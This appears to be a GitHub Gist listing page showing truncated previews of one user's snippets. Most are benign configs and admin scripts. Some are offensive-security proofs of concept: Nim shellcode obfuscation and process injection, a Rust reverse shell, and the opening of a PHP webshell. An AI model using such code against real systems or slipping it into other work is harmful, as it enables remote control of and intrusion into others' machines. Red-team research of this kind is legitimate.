Skip to content

Instantly share code, notes, and snippets.

@mttaggart
mttaggart / docker-compose.yml
Created June 21, 2019 05:14
Docker Compose for everLive Docker: 8
version: "3.7"
services:
web:
image: nginx:latest
deploy:
replicas: 2
networks:
- blog-net
ports:
- 80:80
@mttaggart
mttaggart / nimterpreter.nim
Created September 30, 2021 15:07
A simple PoC for obfuscating shellcode in Nim
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")
@mttaggart
mttaggart / hyperv-portforward.ps1
Created December 13, 2021 23:34
Hyper-V Port Forwarding
New-VMSwitch -SwitchName "NATSwitch" -SwitchType Internal
New-NetIPAddress -IPAddress 192.168.10.1 -PrefixLength 24 -InterfaceAlias "vEthernet (NATSwitch)"
New-NetNAT -Name "NATNetwork" -InternalIPInterfaceAddressPrefix 192.168.10.0/24
# Make sure target VM has an interfaces on the new switch
Add-NetNatStaticMapping -ExternalIPAddress "0.0.0.0/24" -ExternalPort 22 -Protocol TCP -InternalIPAddress "192.168.10.2" -InternalPort 22 -NatName NATNetwork
@mttaggart
mttaggart / rust-rev.rs
Created January 13, 2022 03:41
Rust Reverse Shell
use std::{
net::{TcpStream},
io::{Write, BufReader, BufWriter, BufRead},
process::Command
};
fn handle_client(stream: TcpStream) {
println!("Connection from {}", stream.peer_addr().unwrap());
// Create BufReader and BufWriter for easy work
let mut stream_write = BufWriter::new(
@mttaggart
mttaggart / funcalc.py
Last active March 17, 2022 02:47
Functional vs. OO Subnet Calculators
"""
FUNCTIONAL IP SUBNET CALCULATOR/GENERATOR
"""
import sys
from functools import reduce
def is_ip(ip_string: str) -> bool:
try:
return all(map(lambda o: int(o) in range(0, 256), ip_string.split(".")))
except ValueError:
@mttaggart
mttaggart / Stop-VM.ps1
Created May 1, 2022 05:42
Force Stop VM
# Usage: As admin:
# .\Stop-VM.ps1 "My VM Name"
$id = Get-VM $args[0] | select Id
$VMWMProc = (Get-WMIObject Win32_Process | ? {$_.Name -match 'VMWP' -and $_.CommandLine -match $id })
Stop-Process ($VMWMProc.ProcessId) -Force
@mttaggart
mttaggart / nginx.conf
Created June 1, 2022 19:05
Basic Docker Nginx HTTPS config
# Generated by nginxconfig.io
# https://www.serverion.com/nginx-config/#?0.redirect=false&0.http2=false&0.hsts=false&0.cert_type=custom&0.php=false&0.index=index.html&resolver_cloudflare=false&resolver_google=false&resolver_opendns=false&file_structure=unified
user www-data;
pid /run/nginx.pid;
worker_processes auto;
worker_rlimit_nofile 65535;
events {
multi_accept on;
@mttaggart
mttaggart / tmux.conf
Last active November 9, 2022 17:12
Tmux conf
# List of plugins
set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-yank'
set -g @plugin 'dracula/tmux'
# available plugins: battery, cpu-usage, gpu-usage, ram-usage, network, network-bandwith, weather, time
set -g @dracula-plugins "cpu-usage ram-usage time"
set -g @dracula-show-powerline true
set -g @dracula-show-left-icon λ
@mttaggart
mttaggart / toot.js
Created November 15, 2022 03:28
Change the Mastodon button back to its rightful name
document.querySelector(".button--block").innerHTML="Toot!";
@mttaggart
mttaggart / webshell.php
Created January 10, 2023 17:36
new webshell
<?php
$password = "1aa1521ec35ba5cd93021cb142f4bf11";
define('VERSION','Project');
$register_key = array
(
array